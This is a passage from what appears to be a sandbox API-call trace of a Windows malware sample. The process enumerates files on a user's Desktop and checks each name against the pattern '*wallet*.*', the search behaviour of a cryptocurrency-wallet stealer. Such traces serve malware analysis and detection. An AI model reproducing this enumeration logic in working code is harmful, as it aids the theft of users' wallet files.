lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\SfNWHleaQqk8JGe.pptx", lpUsedDefaultChar=0x0) returned 52 [0146.683] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba858 [0146.683] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bab20 | out: hHeap=0x2360000) returned 1 [0146.683] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.684] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340da0 [0146.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340da0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.684] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340470 [0146.684] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340da0 | out: hHeap=0x2360000) returned 1 [0146.684] PathMatchSpecW (pszFile="SfNWHleaQqk8JGe.pptx", pszSpec="*wallet*.*") returned 0 [0146.684] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340470 | out: hHeap=0x2360000) returned 1 [0146.684] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba858 | out: hHeap=0x2360000) returned 1 [0146.684] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1580ca0, ftCreationTime.dwHighDateTime=0x1d7ac89, ftLastAccessTime.dwLowDateTime=0x781c1810, ftLastAccessTime.dwHighDateTime=0x1d7b023, ftLastWriteTime.dwLowDateTime=0x781c1810, ftLastWriteTime.dwHighDateTime=0x1d7b023, nFileSizeHigh=0x0, nFileSizeLow=0xee0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEh8BocqrBfZC.swf", cAlternateFileName="UEH8BO~1.SWF")) returned 1 [0146.684] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.684] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.684] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="UEh8BocqrBfZC.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf" [0146.684] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.684] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.684] lstrcatW (in: lpString1="\\", lpString2="UEh8BocqrBfZC.swf" | out: lpString1="\\UEh8BocqrBfZC.swf") returned="\\UEh8BocqrBfZC.swf" [0146.684] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0146.684] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x31) returned 0x32bab60 [0146.684] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", cchWideChar=49, lpMultiByteStr=0x32bab60, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\UEh8BocqrBfZC.swf", lpUsedDefaultChar=0x0) returned 49 [0146.684] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba198 [0146.684] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bab60 | out: hHeap=0x2360000) returned 1 [0146.684] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.684] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.684] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340d00 [0146.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340d00, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.685] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340560 [0146.685] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d00 | out: hHeap=0x2360000) returned 1 [0146.685] PathMatchSpecW (pszFile="UEh8BocqrBfZC.swf", pszSpec="*wallet*.*") returned 0 [0146.685] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340560 | out: hHeap=0x2360000) returned 1 [0146.685] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba198 | out: hHeap=0x2360000) returned 1 [0146.685] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfb54460, ftCreationTime.dwHighDateTime=0x1d7a09c, ftLastAccessTime.dwLowDateTime=0x4490ee30, ftLastAccessTime.dwHighDateTime=0x1d7a79a, ftLastWriteTime.dwLowDateTime=0x4490ee30, ftLastWriteTime.dwHighDateTime=0x1d7a79a, nFileSizeHigh=0x0, nFileSizeLow=0x24d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="uf7A4eOeh4J7.ppt", cAlternateFileName="UF7A4E~1.PPT")) returned 1 [0146.685] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.685] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.685] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="uf7A4eOeh4J7.ppt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt" [0146.685] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.685] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.685] lstrcatW (in: lpString1="\\", lpString2="uf7A4eOeh4J7.ppt" | out: lpString1="\\uf7A4eOeh4J7.ppt") returned="\\uf7A4eOeh4J7.ppt" [0146.685] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0146.685] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", cchWideChar=48, lpMultiByteStr=0x33400d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\uf7A4eOeh4J7.ppt", lpUsedDefaultChar=0x0) returned 48 [0146.685] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.685] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.685] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.685] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.685] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340ce0 [0146.686] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340ce0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.686] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340678 [0146.686] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ce0 | out: hHeap=0x2360000) returned 1 [0146.686] PathMatchSpecW (pszFile="uf7A4eOeh4J7.ppt", pszSpec="*wallet*.*") returned 0 [0146.686] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340678 | out: hHeap=0x2360000) returned 1 [0146.686] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.686] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4cd6b1c0, ftCreationTime.dwHighDateTime=0x1d7afe1, ftLastAccessTime.dwLowDateTime=0x4c5cef40, ftLastAccessTime.dwHighDateTime=0x1d7b020, ftLastWriteTime.dwLowDateTime=0x4c5cef40, ftLastWriteTime.dwHighDateTime=0x1d7b020, nFileSizeHigh=0x0, nFileSizeLow=0x3d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="vL0v.flv", cAlternateFileName="")) returned 1 [0146.686] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.686] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.686] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="vL0v.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv" [0146.686] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.686] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.686] lstrcatW (in: lpString1="\\", lpString2="vL0v.flv" | out: lpString1="\\vL0v.flv") returned="\\vL0v.flv" [0146.686] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362c50 [0146.686] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0146.686] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x28) returned 0x2363288 [0146.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", cchWideChar=40, lpMultiByteStr=0x2363288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\vL0v.flv", lpUsedDefaultChar=0x0) returned 40 [0146.687] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.687] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2363288 | out: hHeap=0x2360000) returned 1 [0146.687] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362c50 | out: hHeap=0x2360000) returned 1 [0146.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.687] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340ea0 [0146.687] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340ea0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.687] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340470 [0146.687] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ea0 | out: hHeap=0x2360000) returned 1 [0146.687] PathMatchSpecW (pszFile="vL0v.flv", pszSpec="*wallet*.*") returned 0 [0146.687] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340470 | out: hHeap=0x2360000) returned 1 [0146.687] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.687] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f5e49e0, ftCreationTime.dwHighDateTime=0x1d7a2c9, ftLastAccessTime.dwLowDateTime=0x2d0e0cb0, ftLastAccessTime.dwHighDateTime=0x1d7aa75, ftLastWriteTime.dwLowDateTime=0x2d0e0cb0, ftLastWriteTime.dwHighDateTime=0x1d7aa75, nFileSizeHigh=0x0, nFileSizeLow=0x62a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="X84p.png", cAlternateFileName="")) returned 1 [0146.687] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.687] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.687] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="X84p.png" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png" [0146.687] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.687] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.687] lstrcatW (in: lpString1="\\", lpString2="X84p.png" | out: lpString1="\\X84p.png") returned="\\X84p.png" [0146.688] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362bf8 [0146.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0146.688] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x28) returned 0x2363078 [0146.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", cchWideChar=40, lpMultiByteStr=0x2363078, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\X84p.png", lpUsedDefaultChar=0x0) returned 40 [0146.688] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x33400d0 [0146.688] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2363078 | out: hHeap=0x2360000) returned 1 [0146.688] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362bf8 | out: hHeap=0x2360000) returned 1 [0146.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.688] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340be0 [0146.688] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340be0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.688] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340380 [0146.688] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340be0 | out: hHeap=0x2360000) returned 1 [0146.688] PathMatchSpecW (pszFile="X84p.png", pszSpec="*wallet*.*") returned 0 [0146.688] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340380 | out: hHeap=0x2360000) returned 1 [0146.688] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.689] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61282b70, ftCreationTime.dwHighDateTime=0x1d7a32c, ftLastAccessTime.dwLowDateTime=0x5db41480, ftLastAccessTime.dwHighDateTime=0x1d7aa99, ftLastWriteTime.dwLowDateTime=0x5db41480, ftLastWriteTime.dwHighDateTime=0x1d7aa99, nFileSizeHigh=0x0, nFileSizeLow=0x50e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ym5Tg.wav", cAlternateFileName="")) returned 1 [0146.689] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.689] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.689] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Ym5Tg.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav" [0146.689] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.689] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.689] lstrcatW (in: lpString1="\\", lpString2="Ym5Tg.wav" | out: lpString1="\\Ym5Tg.wav") returned="\\Ym5Tg.wav" [0146.689] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x23604a0 [0146.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0146.689] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x29) returned 0x33400d0 [0146.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", cchWideChar=41, lpMultiByteStr=0x33400d0, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Ym5Tg.wav", lpUsedDefaultChar=0x0) returned 41 [0146.689] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x2360508 [0146.689] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33400d0 | out: hHeap=0x2360000) returned 1 [0146.689] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.689] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.689] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340e20 [0146.689] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340e20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.689] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340448 [0146.689] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e20 | out: hHeap=0x2360000) returned 1 [0146.689] PathMatchSpecW (pszFile="Ym5Tg.wav", pszSpec="*wallet*.*") returned 0 [0146.689] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340448 | out: hHeap=0x2360000) returned 1 [0146.690] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2360508 | out: hHeap=0x2360000) returned 1 [0146.690] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeab27590, ftCreationTime.dwHighDateTime=0x1d7aa3d, ftLastAccessTime.dwLowDateTime=0xbdc31810, ftLastAccessTime.dwHighDateTime=0x1d7af46, ftLastWriteTime.dwLowDateTime=0xbdc31810, ftLastWriteTime.dwHighDateTime=0x1d7af46, nFileSizeHigh=0x0, nFileSizeLow=0x5ea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="YzUHXYWLxmgVgh-0.flv", cAlternateFileName="YZUHXY~1.FLV")) returned 1 [0146.690] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.690] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.690] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="YzUHXYWLxmgVgh-0.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv" [0146.690] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0146.690] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0146.690] lstrcatW (in: lpString1="\\", lpString2="YzUHXYWLxmgVgh-0.flv" | out: lpString1="\\YzUHXYWLxmgVgh-0.flv") returned="\\YzUHXYWLxmgVgh-0.flv" [0146.690] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0146.690] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x34) returned 0x32bae60 [0146.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", cchWideChar=52, lpMultiByteStr=0x32bae60, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\YzUHXYWLxmgVgh-0.flv", lpUsedDefaultChar=0x0) returned 52 [0146.690] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba270 [0146.690] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bae60 | out: hHeap=0x2360000) returned 1 [0146.690] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.690] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340d00 [0146.690] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3340d00, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.690] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33404e8 [0146.690] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d00 | out: hHeap=0x2360000) returned 1 [0146.690] PathMatchSpecW (pszFile="YzUHXYWLxmgVgh-0.flv", pszSpec="*wallet*.*") returned 0 [0146.690] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33404e8 | out: hHeap=0x2360000) returned 1 [0146.691] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba270 | out: hHeap=0x2360000) returned 1 [0146.691] FindNextFileW (in: hFindFile=0x8823f0, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf28e0510, ftCreationTime.dwHighDateTime=0x1d7a36f, ftLastAccessTime.dwLowDateTime=0x594c2290, ftLastAccessTime.dwHighDateTime=0x1d7a790, ftLastWriteTime.dwLowDateTime=0x594c2290, ftLastWriteTime.dwHighDateTime=0x1d7a790, nFileSizeHigh=0x0, nFileSizeLow=0x14695, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZXgj9NJ y.mp3", cAlternateFileName="ZXGJ9N~1.MP3")) returned 1 [0146.691] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0146.691] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0146.691] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="ZXgj9NJ y.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\ZXgj9NJ y.mp3" [0146.691] 